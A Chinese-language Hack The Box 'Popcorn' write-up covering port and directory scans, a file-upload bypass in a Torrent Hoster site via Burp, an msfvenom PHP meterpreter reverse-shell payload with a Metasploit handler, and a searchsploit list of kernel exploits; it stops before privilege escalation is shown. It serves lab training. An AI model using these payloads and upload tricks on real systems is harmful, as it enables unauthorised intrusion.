3riC5r

HTB Popcorn[Hack The Box HTB靶场]writeup系列4

本题是retire的第四题Popcorn

0x00 靶机情况

0x01 扫描端口

0x02 web目录文件扫描

0x03 get webshell

0x04 提权

0x00 靶机情况

本题是linux的靶机，整体看起来难度在3-4之间，比之前的题目有了一些难度，不过做过vulnhub的题目之后，linux的题目基本上怎么做都心里有数了。

0x01 扫描端口

先看下端口扫描情况：

root@kali:~# nmap -T5 -A -v 10.10.10.6                                                                                                                                                                         
Starting Nmap 7.80 ( https://nmap.org ) at 2020-02-02 07:19 EST                                                                                                                                                
NSE: Loaded 151 scripts for scanning.                                                                                                                                                                          
NSE: Script Pre-scanning.                                                                                                                                                                                      
Initiating NSE at 07:19                                                                                                                                                                                        
Completed NSE at 07:19, 0.00s elapsed                                                                                                                                                                          
Initiating NSE at 07:19                                                                                                                                                                                        
Completed NSE at 07:19, 0.00s elapsed                                                                                                                                                                          
Initiating NSE at 07:19                                                                                                                                                                                        
Completed NSE at 07:19, 0.00s elapsed                                                                                                                                                                          
Initiating Ping Scan at 07:19                                                                                                                                                                                  
Scanning 10.10.10.6 [4 ports]                                                                                                                                                                                  
Completed Ping Scan at 07:19, 0.57s elapsed (1 total hosts)                                                                                                                                                    
Initiating Parallel DNS resolution of 1 host. at 07:19                                                                                                                                                         
Completed Parallel DNS resolution of 1 host. at 07:19, 0.14s elapsed                                                                                                                                           
Initiating SYN Stealth Scan at 07:19                                                                                                                                                                           
Scanning 10.10.10.6 [1000 ports]
Discovered open port 22/tcp on 10.10.10.6
Discovered open port 80/tcp on 10.10.10.6
Warning: 10.10.10.6 giving up on port because retransmission cap hit (2).
Completed SYN Stealth Scan at 07:20, 4.20s elapsed (1000 total ports)
Initiating Service scan at 07:20
Scanning 2 services on 10.10.10.6
Completed Service scan at 07:20, 7.05s elapsed (2 services on 1 host)
Initiating OS detection (try #1) against 10.10.10.6
Retrying OS detection (try #2) against 10.10.10.6
Initiating Traceroute at 07:20
Completed Traceroute at 07:20, 0.66s elapsed
Initiating Parallel DNS resolution of 2 hosts. at 07:20
Completed Parallel DNS resolution of 2 hosts. at 07:20, 0.25s elapsed
NSE: Script scanning 10.10.10.6.
Initiating NSE at 07:20
Completed NSE at 07:20, 15.17s elapsed
Initiating NSE at 07:20
Completed NSE at 07:20, 2.17s elapsed
Initiating NSE at 07:20
Completed NSE at 07:20, 0.00s elapsed
Nmap scan report for 10.10.10.6
Host is up (0.20s latency).
Not shown: 980 closed ports
PORT      STATE    SERVICE         VERSION
22/tcp    open     ssh             OpenSSH 5.1p1 Debian 6ubuntu2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   1024 3e:c8:1b:15:21:15:50:ec:6e:63:bc:c5:6b:80:7b:38 (DSA)
|_  2048 aa:1f:79:21:b8:42:f4:8a:38:bd:b8:05:ef:1a:07:4d (RSA)
80/tcp    open     http            Apache httpd 2.2.12 ((Ubuntu))
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.2.12 (Ubuntu)
|_http-title: Site doesn't have a title (text/html).
85/tcp    filtered mit-ml-dev
1067/tcp  filtered instl_boots
1213/tcp  filtered mpc-lifenet
1717/tcp  filtered fj-hdnet
2005/tcp  filtered deslogin
2047/tcp  filtered dls
2222/tcp  filtered EtherNetIP-1
3546/tcp  filtered unknown
5988/tcp  filtered wbem-http
6646/tcp  filtered unknown
8022/tcp  filtered oa-system
8654/tcp  filtered unknown
9010/tcp  filtered sdr
9290/tcp  filtered unknown
10617/tcp filtered unknown
32780/tcp filtered sometimes-rpc23
49160/tcp filtered unknown
55056/tcp filtered unknown
Aggressive OS guesses: Linux 2.6.17 - 2.6.36 (95%), Linux 2.6.32 (95%), Linux 2.4.20 (Red Hat 7.2) (95%), Linux 2.6.17 (95%), Linux 2.6.30 (95%), Linux 2.6.35 (95%), AVM FRITZ!Box FON WLAN 7240 WAP (94%), Canon imageRUNNER ADVANCE C3320i or C3325 copier (94%), Android 2.3.5 (Linux 2.6) (94%), Epson WF-2660 printer (94%)
No exact OS matches for host (test conditions non-ideal).
Uptime guess: 0.682 days (since Sat Feb  1 14:58:58 2020)
Network Distance: 2 hops
TCP Sequence Prediction: Difficulty=194 (Good luck!)
IP ID Sequence Generation: All zeros
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE (using port 199/tcp)
HOP RTT       ADDRESS
1   446.46 ms 10.10.14.1
2   653.63 ms 10.10.10.6

NSE: Script Post-scanning.
Initiating NSE at 07:20
Completed NSE at 07:20, 0.00s elapsed
Initiating NSE at 07:20
Completed NSE at 07:20, 0.00s elapsed
Initiating NSE at 07:20
Completed NSE at 07:20, 0.00s elapsed
Read data files from: /usr/bin/../share/nmap
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 38.44 seconds
           Raw packets sent: 1573 (72.608KB) | Rcvd: 1166 (49.960KB)

我们可以看到提供了两个端口22和80。那就是标准的webshell+提权的做法了，三板斧就直接上了。

0x02 web目录文件扫描

我们看下目录扫描情况：

root@kali:~# dirb http://10.10.10.6

-----------------
DIRB v2.22    
By The Dark Raver
-----------------

START_TIME: Sun Feb  2 07:21:22 2020
URL_BASE: http://10.10.10.6/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt

-----------------

GENERATED WORDS: 4612                                                          

---- Scanning URL: http://10.10.10.6/ ----
*** Calculating NOT_FOUND code...
+ http://10.10.10.6/.bash_history (CODE:200|SIZE:414)                                                                                                                                                         
+ http://10.10.10.6/cgi-bin/ (CODE:403|SIZE:286)                                                                                                                                                              
+ http://10.10.10.6/index (CODE:200|SIZE:177)                                                                                                                                                                 
+ http://10.10.10.6/index.html (CODE:200|SIZE:177)                                                                                                                                                            
+ http://10.10.10.6/server-status (CODE:403|SIZE:291)                                                                                                                                                         
+ http://10.10.10.6/test (CODE:200|SIZE:47330)                                                                                                                                                                
==> DIRECTORY: http://10.10.10.6/torrent/                                                                                                                                                                     
                                                                                                                                                                                                              
---- Entering directory: http://10.10.10.6/torrent/ ----
==> DIRECTORY: http://10.10.10.6/torrent/admin/                                                                                                                                                               
+ http://10.10.10.6/torrent/browse (CODE:200|SIZE:9277)

主要有以下：

http://10.10.10.6/test
http://10.10.10.6/torrent/

test是个phpinfo，简单看了一下，出题者的意图应该不是让我们直接攻击php服务

0x03 get webshell

进入torrent目录之后，看到如下Torrent Hoster站点：

然后去exploitdb上查了一下，应该是在upload文件的地方存在漏洞，没有做文件后缀检查。

但是没有明确的exp给出，所以需要自己尝试一下。

首先注册了一下用户，进入后台，把所有功能都过了一遍之后，发现有两个上传的位置：

torrent文件上传
screenshot文件上传

我用burp测试了一下，发现在screenshot做文件上传的时候，可以直接修改文件名称的后缀为php，具体流程如下：

1、随意上传一个torrent，去百度搜索一个就行

2、点击Edit this torrent，选择一个图片文件上传

3、使用burp记录这个过程，并修改文件名的后缀为.php

4、接着可以在指定目录下面看到上传的文件

5、使用msf生成php的反向连接木马

root@kali:~# msfvenom -p php/meterpreter_reverse_tcp LHOST=10.10.14.20 LPORT=4444 -f raw > a.png.php
[-] No platform was selected, choosing Msf::Module::Platform::PHP from the payload
[-] No arch selected, selecting arch: php from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 30687 bytes

6、将生成的木马文件，替换到burp里面上传

7、打开msf，建立侦听端口

msf5 > search php/meterpreter_reverse_tcp

Matching Modules
================

   #  Name                                 Disclosure Date  Rank    Check  Description
   -  ----                                 ---------------  ----    -----  -----------
   0  payload/php/meterpreter_reverse_tcp                   normal  No     PHP Meterpreter, Reverse TCP Inline


msf5 > use payload/php/meterpreter_reverse_tcp
msf5 payload(php/meterpreter_reverse_tcp) > show options 

Module options (payload/php/meterpreter_reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST                   yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port

msf5 payload(php/meterpreter_reverse_tcp) > set lhost 10.10.14.20
lhost => 10.10.14.20
msf5 payload(php/meterpreter_reverse_tcp) > back
msf5 > use multi/handler
msf5 exploit(multi/handler) > show options 

Module options (exploit/multi/handler):

   Name  Current Setting  Required  Description
   ----  ---------------  --------  -----------


Payload options (windows/meterpreter/reverse_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  process          yes       Exit technique (Accepted: '', seh, thread, process, none)
   LHOST     10.10.14.20      yes       The listen address (an interface may be specified)
   LPORT     4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Wildcard Target


msf5 exploit(multi/handler) > set payload ''
[-] The value specified for payload is not valid.
msf5 exploit(multi/handler) > set payload php/meterpreter_reverse_tcp
payload => php/meterpreter_reverse_tcp
msf5 exploit(multi/handler) > show options 

Module options (exploit/multi/handler):

   Name  Current Setting  Required  Description
   ----  ---------------  --------  -----------


Payload options (php/meterpreter_reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  10.10.14.20      yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Wildcard Target


msf5 exploit(multi/handler) > exploit -j -z
[*] Exploit running as background job 1.
[*] Exploit completed, but no session was created.

[*] Started reverse TCP handler on 10.10.14.20:4444 
msf5 exploit(multi/handler) > jobs

Jobs
====

  Id  Name                    Payload                      Payload opts
  --  ----                    -------                      ------------
  1   Exploit: multi/handler  php/meterpreter_reverse_tcp  tcp://10.10.14.20:4444

8、在浏览器中点击我们上传的文件，执行木马，获得webshell

msf5 exploit(multi/handler) > [*] Meterpreter session 8 opened (10.10.14.20:4444 -> 10.10.10.6:50803) at 2020-02-02 03:25:37 -0500

msf5 exploit(multi/handler) > sessions 

Active sessions
===============

  Id  Name  Type                   Information              Connection
  --  ----  ----                   -----------              ----------
  8         meterpreter php/linux  www-data (33) @ popcorn  10.10.14.20:4444 -> 10.10.10.6:50803 (10.10.10.6)

msf5 exploit(multi/handler) > sessions 

Active sessions
===============

  Id  Name  Type                   Information              Connection
  --  ----  ----                   -----------              ----------
  8         meterpreter php/linux  www-data (33) @ popcorn  10.10.14.20:4444 -> 10.10.10.6:50803 (10.10.10.6)

msf5 exploit(multi/handler) > sessions 8
[*] Starting interaction with 8...

meterpreter >

0x04 提权

看了一下操作系统的版本：

uname -r
2.6.31-14-generic-pae

在exploitdb中查找了一下，有比较多的相似的exp。

searchsploit "Linux Kernel 2.6."
---------------------------------------------------------------------------------------------------------------------------------------------------------------------- ----------------------------------------
 Exploit Title                                                                                                                                                        |  Path
                                                                                                                                                                      | (/usr/share/exploitdb/)
---------------------------------------------------------------------------------------------------------------------------------------------------------------------- ----------------------------------------
Linux Kernel 2.2.25/2.4.24/2.6.2 - 'mremap()' Local Privilege Escalation                                                                                              | exploits/linux/local/160.c
Linux Kernel 2.2.25/2.4.24/2.6.2 - 'mremap()' Validator                                                                                                               | exploits/linux/local/154.c
Linux Kernel 2.2.x/2.3.x/2.4.x/2.5.x/2.6.x - ELF Core Dump Local Buffer Overflow (PoC)                                                                                | exploits/linux/dos/25647.sh
Linux Kernel 2.4.1 < 2.4.37 / 2.6.1 < 2.6.32-rc5 - 'pipe.c' Local Privilege Escalation (3)                                                                            | exploits/linux/local/9844.py
Linux Kernel 2.4.22-28/2.6.9 - 'igmp.c' Local Denial of Service                                                                                                       | exploits/linux/dos/686.c
Linux Kernel 2.4.23/2.6.0 - 'do_mremap()' Bound Checking Privilege Escalation                                                                                         | exploits/linux/local/145.c
Linux Kernel 2.4.23/2.6.0 - 'do_mremap()' Bound Checking Validator (1)                                                                                                | exploits/linux/local/141.c
Linux Kernel 2.4.23/2.6.0 - 'do_mremap()' Bound Checking Validator (2)                                                                                                | exploits/linux/local/142.c
Linux Kernel 2.4.27/2.6.8 - 'binfmt_elf' Executable File Read                                                                                                         | exploits/linux/local/624.c
Linux Kernel 2.4.28/2.6.9 - 'ip_options_get' Local Overflow                                                                                                           | exploits/linux/dos/692.c
Linux Kernel 2.4.28/2.6.9 - 'scm_send Local' Denial of Service                                                                                                        | exploits/linux/dos/685.c
Linux Kernel 2.4.28/2.6.9 - Memory Leak Local Denial of Service                                                                                                       | exploits/linux/dos/691.c
Linux Kernel 2.4.28/2.6.9 - vc_resize int Local Overflow                                                                                                              | exploits/linux/dos/690.c
Linux Kernel 2.4.30/2.6.11.5 - BlueTooth 'bluez_sock_create' Local Privilege Escalation                                                                               | exploits/linux/local/25289.c
Linux Kernel 2.4.4 < 2.4.37.4 / 2.6.0 < 2.6.30.4 - 'Sendpage' Local Privilege Escalation (Metasploit)                                                                 | exploits/linux/local/19933.rb
Linux Kernel 2.4.x/2.5.x/2.6.x - 'Sockaddr_In.Sin_Zero' Kernel Memory Disclosure                                                                                      | exploits/linux/local/27461.c
Linux Kernel 2.4.x/2.6.x (CentOS 4.8/5.3 / RHEL 4.8/5.3 / SuSE 10 SP2/11 / Ubuntu 8.10) (PPC) - 'sock_sendpage()' Local Privilege Escalation                          | exploits/linux/local/9545.c
Linux Kernel 2.4.x/2.6.x - 'Bluez' BlueTooth Signed Buffer Index Privilege Escalation (2)                                                                             | exploits/linux/local/926.c
Linux Kernel 2.4.x/2.6.x - 'uselib()' Local Privilege Escalation (3)                                                                                                  | exploits/linux/local/895.c
Linux Kernel 2.4.x/2.6.x - Assembler Inline Function Local Denial of Service                                                                                          | exploits/linux/dos/306.c
Linux Kernel 2.4.x/2.6.x - BlueTooth Signed Buffer Index (PoC)                                                                                                        | exploits/linux/dos/25287.c
Linux Kernel 2.4.x/2.6.x - BlueTooth Signed Buffer Index Privilege Escalation (1)                                                                                     | exploits/linux/local/25288.c
Linux Kernel 2.4.x/2.6.x - Local Denial of Service / Memory Disclosure                                                                                                | exploits/linux/dos/24777.txt
Linux Kernel 2.4.x/2.6.x - Multiple ISO9660 Filesystem Handling Vulnerabilities                                                                                       | exploits/linux/dos/25234.sh
Linux Kernel 2.5.x/2.6.x - CPUFreq Proc Handler Integer Handling Memory Read                                                                                          | exploits/linux/local/24043.c
Linux Kernel 2.6 < 2.6.19 (White Box 4 / CentOS 4.4/4.5 / Fedora Core 4/5/6 x86) - 'ip_append_data()' Ring0 Privilege Escalation (1)                                  | exploits/linux_x86/local/9542.c
Linux Kernel 2.6.0 < 2.6.31 - 'pipe.c' Local Privilege Escalation (1)                                                                                                 | exploits/linux/local/33321.c
Linux Kernel 2.6.10 - File Lock Local Denial of Service                                                                                                               | exploits/linux/dos/25322.c
Linux Kernel 2.6.10 - Local Denial of Service                                                                                                                         | exploits/linux/dos/904.c
Linux Kernel 2.6.10 < 2.6.31.5 - 'pipe.c' Local Privilege Escalation                                                                                                  | exploits/linux/local/40812.c
Linux Kernel 2.6.12-rc4 - 'ioctl_by_bdev' Local Denial of Service                                                                                                     | exploits/linux/dos/998.c
Linux Kernel 2.6.13 < 2.6.17.4 - 'logrotate prctl()' Local Privilege Escalation                                                                                       | exploits/linux/local/2031.c
Linux Kernel 2.6.13 < 2.6.17.4 - 'sys_prctl()' Local Privilege Escalation (1)                                                                                         | exploits/linux/local/2004.c
Linux Kernel 2.6.13 < 2.6.17.4 - 'sys_prctl()' Local Privilege Escalation (2)                                                                                         | exploits/linux/local/2005.c
Linux Kernel 2.6.13 < 2.6.17.4 - 'sys_prctl()' Local Privilege Escalation (3)                                                                                         | exploits/linux/local/2006.c
Linux Kernel 2.6.13 < 2.6.17.4 - 'sys_prctl()' Local Privilege Escalation (4)                                                                                         | exploits/linux/local/2011.sh
Linux Kernel 2.6.17 - 'Sys_Tee' Local Privilege Escalation                                                                                                            | exploits/linux/local/29714.txt
Linux Kernel 2.6.17 < 2.6.24.1 - 'vmsplice' Local Privilege Escalation (2)                                                                                            | exploits/linux/local/5092.c
Linux Kernel 2.6.17.4 - 'proc' Local Privilege Escalation                                                                                                             | exploits/linux/local/2013.c
Linux Kernel 2.6.17.7 - NFS and EXT3 Combination Remote Denial of Service                                                                                             | exploits/linux/dos/28358.txt
Linux Kernel 2.6.18 - 'move_pages()' Information Leak                                                                                                                 | exploits/linux/local/40810.c
Linux Kernel 2.6.18 < 2.6.18-20 - Local Privilege Escalation                                                                                                          | exploits/linux/local/10613.c
Linux Kernel 2.6.20 with DCCP Support - Memory Disclosure (1)                                                                                                         | exploits/linux/local/3587.c
Linux Kernel 2.6.20 with DCCP Support - Memory Disclosure (2)                                                                                                         | exploits/linux/local/3595.c
Linux Kernel 2.6.20/2.6.24/2.6.27_7-10 (Ubuntu 7.04/8.04/8.10 / Fedora Core 10 / OpenSuse 11.1) - SCTP FWD Memory Corruption Remote Overflow                          | exploits/linux/remote/8556.c
Linux Kernel 2.6.21.1 - IPv6 Jumbo Bug Remote Denial of Service                                                                                                       | exploits/linux/dos/4893.c
Linux Kernel 2.6.22 - IPv6 Hop-By-Hop Header Remote Denial of Service                                                                                                 | exploits/linux/dos/30902.c
Linux Kernel 2.6.22 < 3.9 (x86/x64) - 'Dirty COW /proc/self/mem' Race Condition Privilege Escalation (SUID Method)                                                    | exploits/linux/local/40616.c
Linux Kernel 2.6.22 < 3.9 - 'Dirty COW /proc/self/mem' Race Condition Privilege Escalation (/etc/passwd Method)                                                       | exploits/linux/local/40847.cpp
Linux Kernel 2.6.22 < 3.9 - 'Dirty COW PTRACE_POKEDATA' Race Condition (Write Access Method)                                                                          | exploits/linux/local/40838.c
Linux Kernel 2.6.22 < 3.9 - 'Dirty COW' 'PTRACE_POKEDATA' Race Condition Privilege Escalation (/etc/passwd Method)                                                    | exploits/linux/local/40839.c
Linux Kernel 2.6.22 < 3.9 - 'Dirty COW' /proc/self/mem Race Condition (Write Access Method)                                                                           | exploits/linux/local/40611.c
Linux Kernel 2.6.23 < 2.6.24 - 'vmsplice' Local Privilege Escalation (1)                                                                                              | exploits/linux/local/5093.c
Linux Kernel 2.6.24_16-23/2.6.27_7-10/2.6.28.3 (Ubuntu 8.04/8.10 / Fedora Core 10 x86-64) - 'set_selection()' UTF-8 Off-by-One Privilege Escalation                   | exploits/linux_x86-64/local/9083.c
Linux Kernel 2.6.26 - Auerswald USB Device Driver Buffer Overflow (PoC)                                                                                               | exploits/linux/dos/35957.txt
Linux Kernel 2.6.27 < 2.6.36 (RedHat x86-64) - 'compat' Local Privilege Escalation                                                                                    | exploits/linux_x86-64/local/15024.c
Linux Kernel 2.6.27.7-generic/2.6.18/2.6.24-1 - Local Denial of Service                                                                                               | exploits/linux/dos/7454.c
Linux Kernel 2.6.27.8 - ATMSVC Local Denial of Service                                                                                                                | exploits/linux/dos/7405.c
Linux Kernel 2.6.28/3.0 (DEC Alpha Linux) - Local Privilege Escalation                                                                                                | exploits/linux/local/17391.c
Linux Kernel 2.6.29 - 'ptrace_attach()' Race Condition Privilege Escalation                                                                                           | exploits/linux/local/8678.c
Linux Kernel 2.6.3 - 'setsockopt' Local Denial of Service                                                                                                             | exploits/linux/dos/274.c
Linux Kernel 2.6.30 - 'atalk_getname()' 8-bytes Stack Disclosure (1)                                                                                                  | exploits/linux/local/9521.c
Linux Kernel 2.6.30 - 'tun_chr_pool()' Null Pointer Dereference                                                                                                       | exploits/linux/dos/33088.txt
Linux Kernel 2.6.30 < 2.6.30.1 / SELinux (RHEL 5) - Local Privilege Escalation                                                                                        | exploits/linux/local/9191.txt
Linux Kernel 2.6.31 - 'perf_counter_open()' Local Buffer Overflow                                                                                                     | exploits/linux/dos/33228.txt
Linux Kernel 2.6.31-rc5 - sigaltstack 4-Byte Stack Disclosure                                                                                                         | exploits/linux/local/9352.c
Linux Kernel 2.6.31-rc7 - 'AF_LLC getsockname' 5-Byte Stack Disclosure                                                                                                | exploits/linux/local/9513.c
Linux Kernel 2.6.31.4 - 'unix_stream_connect()' Local Denial of Service                                                                                               | exploits/linux/dos/10022.c
Linux Kernel 2.6.32 (Ubuntu 10.04) - '/proc' Handling SUID Privilege Escalation                                                                                       | exploits/linux/local/41770.txt
Linux Kernel 2.6.32 - 'pipe.c' Local Privilege Escalation (4)                                                                                                         | exploits/linux/local/10018.sh
Linux Kernel 2.6.32 < 3.x (CentOS 5/6) - 'PERF_EVENTS' Local Privilege Escalation (1)                                                                                 | exploits/linux/local/25444.c
Linux Kernel 2.6.32-5 (Debian 6.0.5) - '/dev/ptmx' Key Stroke Timing Local Disclosure                                                                                 | exploits/linux/local/24459.sh
Linux Kernel 2.6.32-642/3.16.0-4 - 'inode' Integer Overflow                                                                                                           | exploits/linux/dos/40819.c
Linux Kernel 2.6.32-rc1 (x86-64) - Register Leak                                                                                                                      | exploits/linux_x86-64/local/40811.c
Linux Kernel 2.6.33.3 - SCTP INIT Remote Denial of Service                                                                                                            | exploits/linux/dos/14594.py
Linux Kernel 2.6.34 - 'find_keyring_by_name()' Local Memory Corruption                                                                                                | exploits/linux/dos/33886.txt
Linux Kernel 2.6.35 - Network Namespace Remote Denial of Service                                                                                                      | exploits/linux/dos/36425.txt
Linux Kernel 2.6.36 - VIDIOCSMICROCODE IOCTL Local Memory Overwrite                                                                                                   | exploits/linux/local/15344.c
Linux Kernel 2.6.36 IGMP - Remote Denial of Service                                                                                                                   | exploits/linux/dos/18378.c
Linux Kernel 2.6.36-rc8 - 'RDS Protocol' Local Privilege Escalation                                                                                                   | exploits/linux/local/15285.c
Linux Kernel 2.6.37 (RedHat / Ubuntu 10.04) - 'Full-Nelson.c' Local Privilege Escalation                                                                              | exploits/linux/local/15704.c
Linux Kernel 2.6.37 - 'setup_arg_pages()' Denial of Service                                                                                                           | exploits/linux/dos/15619.c
Linux Kernel 2.6.37 - Local Kernel Denial of Service (1)                                                                                                              | exploits/linux/dos/16263.c
Linux Kernel 2.6.37 - Unix Sockets Local Denial of Service                                                                                                            | exploits/linux/dos/15622.c
Linux Kernel 2.6.37-rc1 - 'serial_multiport_struct' Local Information Leak                                                                                            | exploits/linux/local/18080.c
Linux Kernel 2.6.39 < 3.2.2 (Gentoo / Ubuntu x86/x64) - 'Mempodipper' Local Privilege Escalation (1)                                                                  | exploits/linux/local/18411.c
Linux Kernel 2.6.39 < 3.2.2 (x86/x64) - 'Mempodipper' Local Privilege Escalation (2)                                                                                  | exploits/linux/local/35161.c
Linux Kernel 2.6.9 < 2.6.11 (RHEL 4) - 'SYS_EPoll_Wait' Local Integer Overflow / Local Privilege Escalation                                                           | exploits/linux/local/1397.c
Linux Kernel 2.6.9 < 2.6.25 (RHEL 4) - utrace and ptrace Local Denial of Service (1)                                                                                  | exploits/linux/dos/31965.c
Linux Kernel 2.6.9 < 2.6.25 (RHEL 4) - utrace and ptrace Local Denial of Service (2)                                                                                  | exploits/linux/dos/31966.c
Linux Kernel 2.6.x (Gentoo 2.6.29rc1) - 'ptrace_attach' Local Privilege Escalation                                                                                    | exploits/linux/local/8673.c
Linux Kernel 2.6.x (Sparc64) - '/proc/iomem' Local Denial of Service                                                                                                  | exploits/linux/dos/33043.txt
Linux Kernel 2.6.x (x64) - Personality Handling Local Denial of Service                                                                                               | exploits/linux_x86-64/dos/33585.txt
Linux Kernel 2.6.x - '/drivers/net/r8169.c' Out-of-IOMMU Error Local Denial of Service                                                                                | exploits/linux/dos/33289.txt
Linux Kernel 2.6.x - 'AIO_Free_Ring' Local Denial of Service                                                                                                          | exploits/linux/dos/24804.c
Linux Kernel 2.6.x - 'ISO9660' Denial of Service                                                                                                                      | exploits/linux/dos/28912.txt
Linux Kernel 2.6.x - 'SYS_EPoll_Wait' Local Integer Overflow / Local Privilege Escalation (1)                                                                         | exploits/linux/local/25202.c
Linux Kernel 2.6.x - 'add_to_page_cache_lru()' Local Denial of Service                                                                                                | exploits/linux/dos/32384.txt
Linux Kernel 2.6.x - 'drivers/char/tty_ldisc.c' Null Pointer Dereference Denial of Service                                                                            | exploits/linux/dos/33193.c
Linux Kernel 2.6.x - 'fput()' Null Pointer Dereference Local Denial of Service                                                                                        | exploits/linux/dos/10017.c
Linux Kernel 2.6.x - 'inotify_init()' Memory Leak Local Denial of Service                                                                                             | exploits/linux/dos/35013.c
Linux Kernel 2.6.x - 'inotify_init1()' Double-Free Local Denial of Service                                                                                            | exploits/linux/dos/35600.c
Linux Kernel 2.6.x - 'make_indexed_dir()' Local Denial of Service                                                                                                     | exploits/linux/dos/32775.txt
Linux Kernel 2.6.x - 'net/core/filter.c' Local Information Disclosure                                                                                                 | exploits/linux/local/34987.c
Linux Kernel 2.6.x - 'net/ipv6/ip6_output.c' Null Pointer Dereference Denial of Service                                                                               | exploits/linux/dos/33635.c
Linux Kernel 2.6.x - 'pipe.c' Local Privilege Escalation (2)                                                                                                          | exploits/linux/local/33322.c
Linux Kernel 2.6.x - 'posix-timers.c' Null Pointer Dereference Denial of Service                                                                                      | exploits/linux/dos/33148.c
Linux Kernel 2.6.x - 'qdisc_run()' Local Denial of Service                                                                                                            | exploits/linux/dos/32682.c
Linux Kernel 2.6.x - 'rds_recvmsg()' Local Information Disclosure                                                                                                     | exploits/linux/local/37543.c
Linux Kernel 2.6.x - 'seccomp' System Call Security Bypass                                                                                                            | exploits/linux/local/32829.c
Linux Kernel 2.6.x - 'sock.c' SO_BSDCOMPAT Option Information Disclosure                                                                                              | exploits/linux/local/32805.c
Linux Kernel 2.6.x - 'splice(2)' Double Lock Local Denial of Service                                                                                                  | exploits/linux/dos/33015.c
Linux Kernel 2.6.x - 'sys_timer_create()' Local Denial of Service                                                                                                     | exploits/linux/dos/1657.asm
Linux Kernel 2.6.x - ALSA snd-page-alloc Local Proc File Information Disclosure                                                                                       | exploits/linux/local/30605.c
Linux Kernel 2.6.x - AppleTalk ATalk_Sum_SKB Function Denial of Service                                                                                               | exploits/linux/dos/29826.txt
Linux Kernel 2.6.x - Audit Subsystems Local Denial of Service                                                                                                         | exploits/linux/dos/29683.txt
Linux Kernel 2.6.x - Btrfs Cloned File Security Bypass                                                                                                                | exploits/linux/local/34001.c
Linux Kernel 2.6.x - CIFS CHRoot Security Restriction Bypass                                                                                                          | exploits/linux/local/27769.txt
Linux Kernel 2.6.x - Cloned Process 'CLONE_PARENT' Local Origin Validation                                                                                            | exploits/linux/dos/32815.c
Linux Kernel 2.6.x - Cryptoloop Information Disclosure                                                                                                                | exploits/linux/local/25707.txt
Linux Kernel 2.6.x - Ext4 'move extents' ioctl Privilege Escalation                                                                                                   | exploits/linux/local/33395.txt
Linux Kernel 2.6.x - File Lock Lease Local Denial of Service                                                                                                          | exploits/linux/dos/26749.c
Linux Kernel 2.6.x - INVALIDATE_INODE_PAGES2 Local Integer Overflow                                                                                                   | exploits/linux/dos/26811.c
Linux Kernel 2.6.x - IPTables Logging Rules Integer Underflow Remote (PoC)                                                                                            | exploits/linux/dos/24696.c
Linux Kernel 2.6.x - IPv6 Local Denial of Service                                                                                                                     | exploits/linux/dos/26382.c
Linux Kernel 2.6.x - IPv6_SockGlue.c Null Pointer Dereference Denial of Service                                                                                       | exploits/linux/dos/29781.c
Linux Kernel 2.6.x - KSM Local Denial of Service                                                                                                                      | exploits/linux/dos/35820.c
Linux Kernel 2.6.x - KVM 'pit_ioport_read()' Local Denial of Service                                                                                                  | exploits/linux/dos/33592.txt
Linux Kernel 2.6.x - NETLINK_FIB_LOOKUP Local Denial of Service                                                                                                       | exploits/linux/dos/29916.c
Linux Kernel 2.6.x - Proc dentry_unused Corruption Local Denial of Service                                                                                            | exploits/linux/dos/27925.txt
Linux Kernel 2.6.x - Ptrace Privilege Escalation                                                                                                                      | exploits/linux/local/30604.c
Linux Kernel 2.6.x - SCSI ProcFS Denial of Service                                                                                                                    | exploits/linux/dos/26248.sh
Linux Kernel 2.6.x - SET_MEMPOLICY Local Denial of Service                                                                                                            | exploits/linux/dos/27031.c
Linux Kernel 2.6.x - SMBFS CHRoot Security Restriction Bypass                                                                                                         | exploits/linux/local/27766.txt
Linux Kernel 2.6.x - SquashFS Double-Free Denial of Service                                                                                                           | exploits/linux/dos/28895.txt
Linux Kernel 2.6.x - Sysctl Unregistration Local Denial of Service                                                                                                    | exploits/linux/dos/26489.c
Linux Kernel 2.6.x - Time_Out_Leases PrintK Local Denial of Service                                                                                                   | exploits/linux/dos/26648.c
Linux Kernel 2.6.x - VFat Compat IOCTLS Local Denial of Service                                                                                                       | exploits/linux/dos/30080.c
Linux Kernel 2.6.x - epoll Nested Structures Local Denial of Service                                                                                                  | exploits/linux/dos/35403.c
Linux Kernel 2.6.x - fs/eventpoll.c epoll Data Structure File Descriptor Local Denial of Service                                                                      | exploits/linux/dos/35404.c
Linux Kernel 2.6.x / 3.10.x / 4.14.x (RedHat / Debian / CentOS) (x64) - 'Mutagen Astronomy' Local Privilege Escalation                                                | exploits/linux/local/45516.c
Linux Kernel < 2.4.36.9/2.6.27.5 - Unix Sockets Local Kernel Panic (Denial of Service)                                                                                | exploits/linux/dos/7091.c
Linux Kernel < 2.6.11.5 - BlueTooth Stack Privilege Escalation                                                                                                        | exploits/linux/local/4756.c
Linux Kernel < 2.6.14.6 - 'procfs' Kernel Memory Disclosure                                                                                                           | exploits/linux/local/9363.c
Linux Kernel < 2.6.16.18 - Netfilter NAT SNMP Module Remote Denial of Service                                                                                         | exploits/linux/dos/1880.c
Linux Kernel < 2.6.19 (Debian 4) - 'udp_sendmsg' Local Privilege Escalation (3)                                                                                       | exploits/linux/local/9575.c
Linux Kernel < 2.6.19 (x86/x64) - 'udp_sendmsg' Local Privilege Escalation (2)                                                                                        | exploits/linux/local/9574.txt
Linux Kernel < 2.6.20.2 - 'IPv6_Getsockopt_Sticky' Memory Leak                                                                                                        | exploits/linux/local/4172.c
Linux Kernel < 2.6.22 - 'ftruncate()'/'open()' Local Privilege Escalation                                                                                             | exploits/linux/local/6851.c
